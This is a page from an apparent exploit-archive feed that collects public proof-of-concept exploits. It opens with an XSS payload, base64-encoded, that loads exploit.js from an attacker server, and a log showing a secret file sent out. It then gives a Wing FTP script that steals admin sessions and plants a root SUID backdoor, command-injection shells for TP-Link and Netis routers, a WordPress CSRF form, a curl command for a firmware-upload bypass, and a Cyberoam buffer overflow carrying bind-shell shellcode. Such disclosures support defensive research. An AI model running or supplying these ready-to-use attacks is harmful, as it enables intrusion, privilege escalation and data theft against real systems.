<p><img src onerror=eval(atob("dmFyIHNjcmlwdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3J
pcHQiKTtzY3JpcHQudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzY3JpcHQuc3JjPSJodHRwOi8vMTkyLjE2O
C4xMDAuNjk6ODA4MC9leHBsb2l0LmpzIjtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCI
pWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk="))></p>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8080 ...
192.168.100.250 - - [02/Feb/2020 08:27:22] "GET /exploit.js HTTP/1.1" 200 -
192.168.100.250 - - [02/Feb/2020 08:27:27] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 20, december 2019 - [RESEARCHER] Discover
# 20, december 2019 - [RESEARCHER] Report to vendor support
# 21, december 2019 - [DEVELOPER] Recognized vulnerability
# 13, february 2020 - [DEVELOPER] Patched vulnerability
# 27, february 2020 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo

Wing FTP Server 6.2.5 Privilege Escalation

$
0
0

Wing FTP Server version 6.2.5 suffers from a privilege escalation vulnerability.


MD5 | 94c9cff08d8ed9f26e94d37311beaa3f

# Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-03
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.5 and prior
# Tested on: Ubuntu 18.04
# CVE: N/A

# If $_WINGFTPDIR is the installation directory where Wing FTP was installed,
# $_WINGFTPDIR/wftpserver/session/* --> corresponds to user sessions... world readable/writeable (possibly exploitable)
# $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable.
# We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA.
# https://www.hooperlabs.xyz/disclosures/cve-2020-9470.php (writeup)



#!/bin/bash

echo 'Local root privilege escalation for Wing FTP Server (v.6.2.5)'
echo 'Exploit by Cary Hooper (@nopantrootdance)'

function writeBackdoor() {
#this function creates a backdoor program (executes bash)
echo " Writing backdoor in $1"
echo '#include <stdio.h>'> $1/foobarh00p.c
echo '#include <sys/types.h>'>> $1/foobarh00p.c
echo '#include <unistd.h>'>> $1/foobarh00p.c
echo 'int main(void){setuid(0); setgid(0); system("/bin/bash");}'>> $1/foobarh00p.c
gcc -w $1/foobarh00p.c -o $1/foobarh00p
}

function makeRequest() {
#Executes Lua command in admin panel to set the suid bit/chown on our backdoor
#Change owner to root
curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chown%20root%20$2%2Ffoobarh00p')"'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html">/dev/null 2>/dev/null
#Make SUID
curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chmod%204777%20$2%2Ffoobarh00p')"'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html">/dev/null 2>/dev/null
}

directories=( "/tmp""/var/tmp""/dev/shm" )
for dir in "${directories[@]}"
do
#Check if directories are writeable
if [ -w $dir ]
then
echo "[!] Writeable directory found: $dir"
export backdoordir=$dir
break
else
echo " $dir is not writeable..."; fi
done

writeBackdoor $backdoordir

#Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/).
echo " Finding the wftpserver directory"
export sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep --color=never wftpserver)
if [ -z "$sessiondir" ]; then echo "Wing FTP directory not found. Consider looking manually."; exit 1; fi
#Note: if no directory is found, look manually for the "wftpserver" directory, or a "wftpserver" binary. Change the variable below and comment out the code above.
#export sessiondir="/opt/wftpserver/session_admin"

#While loop to wait for an admin session to be established.
echo " Waiting for a Wing FTP admin to log in. This may take a while..."
count=0
while : ; do
if [ "$(ls -A $sessiondir)" ]; then
#If a session file exists, the UID_ADMIN cookie is the name of the file.
echo "[!] An administrator logged in... stealing their session."
export cookie=$(ls -A $sessiondir | cut -d '.' -f1)
export ip=$(cat $sessiondir/$cookie.lua | grep ipaddress| cut -d '[' -f4 | cut -d ']' -f1)
echo " Changing IP restrictions on the cookie..."
cat $sessiondir/$cookie.lua | sed "s/$ip/127.0.0.1/g"> $backdoordir/$cookie.lua
cp $backdoordir/$cookie.lua $sessiondir/$cookie.lua
rm $backdoordir/$cookie.lua
echo "[!] Successfully stole session."
#Once found, make the malicious curl request
export urldir=$(sed "s/\//\%2F/g"<<<$backdoordir)
echo " Making evil request as Wing FTP admin... (backdoor in ${backdoordir})"
makeRequest $cookie $urldir
break
else
#Checks every 10 seconds. Outputs date to terminal for user feedback purposes only.
sleep 10
let "count+=1"
if [ $count -eq 10 ]; then date; fi
echo "..."
fi
done

#Check if backdoor was created correctly
if [ $(stat -c "%a" $backdoordir/foobarh00p) != "4777" ]; then echo " Something went wrong. Backdoor is not SUID"; exit 1; fi
if [ $(stat -c "%U" $backdoordir/foobarh00p) != "root" ]; then echo " Something went wrong. Backdoor is not owned by root"; exit 1; fi

echo " Backdoor is now SUID owned by root."
echo "[!] Executing backdoor. Cross your fingers..."
#Execute the backdoor... root!
$backdoordir/foobarh00p


TP-Link TL-WR849N Remote Code Execution

$
0
0

TP-Link TL-WR849N suffers from a remote code execution vulnerability.


MD5 | edfc7196db196658aa9ca7bde6deb539

# Exploit Title: TP LINK TL-WR849N - Remote Code Execution
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-2020-9374


import requests

def output(headers,cookies):
url = 'http://192.168.0.1/cgi?1'
data = ''
data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'
data += 'diagnosticsState\x0d\x0a'
data += 'X_TP_HopSeq\x0d\x0a'
data += 'X_TP_Result\x0d\x0a'
r = requests.post(url,data=data,headers=headers,cookies=cookies)
saida = r.text
filtro = saida.replace(': Name or service not known','')
filtro = filtro.replace('[0,0,0,0,0,0]0','')
filtro = filtro.replace('diagnosticsState=','')
filtro = filtro.replace('X_TP_HopSeq=0','')
filtro = filtro.replace('X_TP_Result=','')
print(filtro[:-8])

def aceppt(headers,cookies):
url = 'http://192.168.0.1/cgi?7'
data = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a'
r = requests.post(url,data=data,headers=headers,cookies=cookies)
output(headers,cookies)


def inject(command,headers,cookies):
url = 'http://192.168.0.1/cgi?2'
data = ''
data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a'
data += 'maxHopCount=20\x0d\x0a'
data += 'timeout=5\x0d\x0a'
data += 'numberOfTries=1\x0d\x0a'
data += 'host=\"$('+command+')\"\x0d\x0a'
data += 'dataBlockSize=64\x0d\x0a'
data += 'X_TP_ConnName=ewan_pppoe\x0d\x0a'
data += 'diagnosticsState=Requested\x0d\x0a'
data += 'X_TP_HopSeq=0\x0d\x0a'
r = requests.post(url,data=data,headers=headers,cookies=cookies)
aceppt(headers,cookies)



def main():
cookies = {"Authorization": "Basic REPLACEBASE64AUTH"}
headers = {'Content-Type': 'text/plain',
'Referer': 'http://192.168.0.1/mainFrame.htm'}
while True:
command = input('$ ')
inject(command,headers,cookies)


main()

WordPress Tutor LMS 1.5.3 Cross Site Request Forgery

$
0
0

WordPress Tutor LMS plugin version 1.5.3 suffers from a cross site request forgery vulnerability.


MD5 | a3195f351910c4acd40c82f3afff25c6

# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)
# Date: 2020-01-30
# Vendor Homepage: https://www.themeum.com/product/tutor-lms/
# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers
# Exploit Author: Jinson Varghese Behanan
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 1.5.2 and below
# CVE : CVE-2020-8615

# 1. Description

# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses.
# An attacker can use CSRF to register themselves as an instructor or block other legit instructors.
# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings
# page, the attacker will be able to create courses directly as well. All WordPress websites
# using Tutor LMS version 1.5.2 and below are affected.

# 2. Proof of Concept

# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF
# attack to approve an attacker-controlled instructor account can be performed by having the admin
# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly,
# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked
# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.

# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor
# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval.
# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is
# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can
# be tricked into visiting the link and triggering the request to add an instructor.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://TARGET/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="add_new_instructor" />
<input type="hidden" name="first_name" value="John" />
<input type="hidden" name="last_name" value="Doe" />
<input type="hidden" name="user_login" value="jd_instructor" />
<input type="hidden" name="email" value="jd@TARGET" />
<input type="hidden" name="phone_number" value="1231231231" />
<input type="hidden" name="password" value="Pa$$w0rd!" />
<input type="hidden" name="password_confirmation" value="Pa$$w0rd!" />
<input type="hidden" name="tutor_profile_bio" value="Et tempore culpa n" />
<input type="hidden" name="action" value="tutor_add_instructor" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

3. Timeline

Vulnerability reported to the Tutor LMS team – January 30, 2020.
Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.

TP-Link TL-WR849N 0.9.1 4.16 Authentication Bypass

$
0
0

TP-Link TL-WR849N version 0.9.1 4.16 suffers from a firmware upload authentication bypass vulnerability.


MD5 | 5fc10515451b2b85ebfa1e9f129e6190

# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-CVE-2019-19143

Uploading new firmware without access to the panel

REFS:
https://github.com/ElberTavares/routers-exploit/tp-link
https://fireshellsecurity.team/hack-n-routers/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://TARGET/mainFrame.htm" -F data=@conf.bin
http://TARGET/cgi/confup

Cyberoam Authentication Client 2.1.2.7 Buffer Overflow

$
0
0

Cyberoam Authentication Client version 2.1.2.7 suffers from a buffer overflow vulnerability.


MD5 | eddba6d1362143102912cf298aa013f1

# Exploit Title: Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH)
# Date: 2020-02-28
# Exploit Author: Andrey Stoykov
# Version: Cyberoam General Authentication Client 2.1.2.7
# Tested on: Windows Vista SP2 x86

Steps to Reproduce:

1) Run the POC
2) Copy the contents of "sploit.txt" into the "Cyberoam Server Address" and click "Check"
3) Bind TCP shell should spawn on port 1337

# Badchars to be avoided: "\x0a\x00\x0d\x01\x02\x03\x04"
# msfvenom -p windows/shell_bind_tcp -f c -b "\x0a\x00\x0d\x01\x02\x03\x04" lport=1337 -e x86/alpha_mixed

Exploit POC:

shellcode = ("\x89\xe6\xdd\xc5\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x49\x6c\x6a\x48\x4e\x62\x77\x70\x43\x30\x67\x70\x43\x50\x6f"
"\x79\x6d\x35\x66\x51\x6f\x30\x71\x74\x6e\x6b\x42\x70\x66\x50"
"\x6e\x6b\x30\x52\x34\x4c\x6e\x6b\x76\x32\x32\x34\x4e\x6b\x30"
"\x72\x64\x68\x46\x6f\x6d\x67\x43\x7a\x54\x66\x70\x31\x39\x6f"
"\x4e\x4c\x77\x4c\x71\x71\x33\x4c\x46\x62\x66\x4c\x37\x50\x4b"
"\x71\x38\x4f\x54\x4d\x46\x61\x49\x57\x49\x72\x79\x62\x72\x72"
"\x71\x47\x6c\x4b\x43\x62\x74\x50\x4e\x6b\x70\x4a\x55\x6c\x6c"
"\x4b\x50\x4c\x77\x61\x73\x48\x4a\x43\x43\x78\x35\x51\x6a\x71"
"\x43\x61\x6c\x4b\x30\x59\x77\x50\x35\x51\x4e\x33\x6e\x6b\x33"
"\x79\x67\x68\x69\x73\x64\x7a\x77\x39\x6c\x4b\x75\x64\x4e\x6b"
"\x75\x51\x4a\x76\x66\x51\x59\x6f\x4e\x4c\x5a\x61\x58\x4f\x66"
"\x6d\x47\x71\x4a\x67\x45\x68\x49\x70\x73\x45\x59\x66\x47\x73"
"\x71\x6d\x68\x78\x67\x4b\x61\x6d\x76\x44\x62\x55\x78\x64\x70"
"\x58\x4e\x6b\x72\x78\x34\x64\x53\x31\x4e\x33\x52\x46\x6c\x4b"
"\x66\x6c\x52\x6b\x4c\x4b\x76\x38\x67\x6c\x73\x31\x5a\x73\x4c"
"\x4b\x34\x44\x6e\x6b\x57\x71\x6a\x70\x4e\x69\x33\x74\x36\x44"
"\x56\x44\x33\x6b\x71\x4b\x70\x61\x31\x49\x50\x5a\x46\x31\x69"
"\x6f\x79\x70\x53\x6f\x63\x6f\x30\x5a\x6e\x6b\x64\x52\x5a\x4b"
"\x4c\x4d\x61\x4d\x35\x38\x55\x63\x75\x62\x37\x70\x77\x70\x53"
"\x58\x62\x57\x71\x63\x76\x52\x43\x6f\x71\x44\x55\x38\x30\x4c"
"\x72\x57\x31\x36\x64\x47\x39\x6f\x69\x45\x4e\x58\x5a\x30\x75"
"\x51\x33\x30\x47\x70\x46\x49\x4b\x74\x42\x74\x32\x70\x30\x68"
"\x36\x49\x6d\x50\x50\x6b\x57\x70\x4b\x4f\x69\x45\x31\x7a\x53"
"\x38\x70\x59\x72\x70\x4a\x42\x39\x6d\x73\x70\x70\x50\x43\x70"
"\x66\x30\x42\x48\x6b\x5a\x36\x6f\x49\x4f\x4b\x50\x49\x6f\x79"
"\x45\x4c\x57\x42\x48\x75\x52\x45\x50\x35\x55\x35\x69\x4e\x69"
"\x4a\x46\x51\x7a\x52\x30\x62\x76\x36\x37\x50\x68\x4b\x72\x59"
"\x4b\x55\x67\x55\x37\x79\x6f\x4a\x75\x70\x57\x71\x78\x68\x37"
"\x79\x79\x67\x48\x79\x6f\x6b\x4f\x4e\x35\x33\x67\x43\x58\x63"
"\x44\x6a\x4c\x75\x6b\x4b\x51\x39\x6f\x49\x45\x32\x77\x6d\x47"
"\x52\x48\x70\x75\x70\x6e\x30\x4d\x53\x51\x79\x6f\x6b\x65\x31"
"\x78\x63\x53\x50\x6d\x42\x44\x67\x70\x6f\x79\x49\x73\x73\x67"
"\x72\x77\x62\x77\x64\x71\x4a\x56\x32\x4a\x54\x52\x46\x39\x33"
"\x66\x4a\x42\x79\x6d\x32\x46\x7a\x67\x50\x44\x71\x34\x75\x6c"
"\x67\x71\x56\x61\x6e\x6d\x33\x74\x51\x34\x52\x30\x38\x46\x53"
"\x30\x67\x34\x43\x64\x30\x50\x46\x36\x32\x76\x42\x76\x77\x36"
"\x53\x66\x72\x6e\x42\x76\x50\x56\x43\x63\x36\x36\x71\x78\x53"
"\x49\x68\x4c\x77\x4f\x6c\x46\x79\x6f\x49\x45\x6d\x59\x4d\x30"
"\x50\x4e\x70\x56\x63\x76\x79\x6f\x46\x50\x71\x78\x66\x68\x6d"
"\x57\x75\x4d\x55\x30\x69\x6f\x79\x45\x4f\x4b\x58\x70\x58\x35"
"\x4f\x52\x71\x46\x52\x48\x6c\x66\x6d\x45\x4d\x6d\x6f\x6d\x6b"
"\x4f\x69\x45\x75\x6c\x74\x46\x63\x4c\x47\x7a\x6b\x30\x59\x6b"
"\x39\x70\x31\x65\x77\x75\x6f\x4b\x72\x67\x62\x33\x50\x72\x30"
"\x6f\x42\x4a\x77\x70\x72\x73\x79\x6f\x59\x45\x41\x41")

buffer = "A"*216 + "\xeb\x10\x90\x90"+ "\x97\x44\x9c\x0f" + "\x90"*500 + shellcode
buffer += "B"*(16688-216-8-500)
f = open('sploit.txt', 'w')
f.write(buffer)
f.close()

Netis WF2419 2.2.36123 Remote Code Execution

$
0
0

Netis WF2419 version 2.2.36123 suffers from a remote code execution vulnerability.


MD5 | dbd50affdbcb32ab1bb41adb5453cfeb

# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution 
# Exploit Author: Elias Issa
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75
# Date: 2020-02-11
# Version: WF2419 V2.2.36123 => V2.2.36123
# Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123
# CVE : CVE-2019-19356


# Proof of Concept: python netis_rce.py http://192.168.1.1 "ls"

#!/usr/bin/env python
import argparse
import requests
import json

def exploit(host,cmd):
# Send Payload
headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0',
'Content-Type': 'application/x-www-form-urlencoded'}
post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0"
vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi"
req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value)
print('[+] Payload sent')
try :
json_data = json.loads(req_payload.text)
if json_data[0] == "SUCCESS":
print('[+] Exploit Sucess')
# Get Command Result
print('[+] Getting Command Output\n')
result_page = host + "/cgi-bin-igd/netcore_get.cgi"
post_data = "mode_name=netcore_get&no=no"
req_result = requests.post(result_page, data=post_data, headers=headers_value)
json_data = json.loads(req_result.text)
results = json_data["tools_results"]
print results.replace(';', '\n')
else:
print('[-] Exploit Failed')
except:
print("[!] You might need to login.")

# To be implemented
def login(user, password):
print('To be implemented')

def main():
host = args.host
cmd = args.cmd
user = args.user
password = args.password
#login(user,password)
exploit(host,cmd)

if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]")
ap.add_argument("host", help="URL (Example: http://192.168.1.1).")
ap.add_argument("cmd", help="Command to run.")
ap.add_argument("-u", "--user", help="Admin username (Default: admin).",
default="admin")
ap.add_argument("-p", "--password", help="Admin password (Default: admin).",
default="admin")
args = ap.parse_args()
main()

Viewing all 13315 articles
Browse latest View live